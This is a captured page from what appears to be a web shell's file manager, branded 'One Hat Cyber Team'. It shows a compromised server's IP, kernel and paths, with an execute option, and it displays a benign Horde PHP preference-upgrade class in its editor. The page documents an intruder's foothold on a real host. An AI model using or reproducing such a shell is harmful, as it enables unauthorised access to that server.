⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.89
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Core
/
Block
/
Edit File: Upgrade.php
<?php /** * Copyright 2011-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you * did not receive this file, see http://www.horde.org/licenses/lgpl21. * * @author Michael Slusarz <slusarz@horde.org> * @category Horde * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package Core */ /** * This class allows upgrading portal config preferences from H3 -> H4 format. * * @author Michael Slusarz <slusarz@horde.org> * @category Horde * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package Core */ class Horde_Core_Block_Upgrade { /** * Upgrades the given preference to H4 format. * * @param string $name The preference name. */ public function upgrade($name) { global $prefs; $layout = @unserialize($prefs->getValue($name)); if (is_array($layout)) { $upgrade = false; } else { $layout = array(); $upgrade = true; } foreach (array_keys($layout) as $key) { foreach (array_keys($layout[$key]) as $key2) { if (isset($layout[$key][$key2]['params']['type'])) { $layout[$key][$key2]['params']['type2'] = $layout[$key][$key2]['app'] . '_Block_' . Horde_String::ucfirst($layout[$key][$key2]['params']['type']); unset($layout[$key][$key2]['params']['type']); $upgrade = true; } } } if ($upgrade) { $prefs->setValue($name, serialize($layout)); } } }
Simpan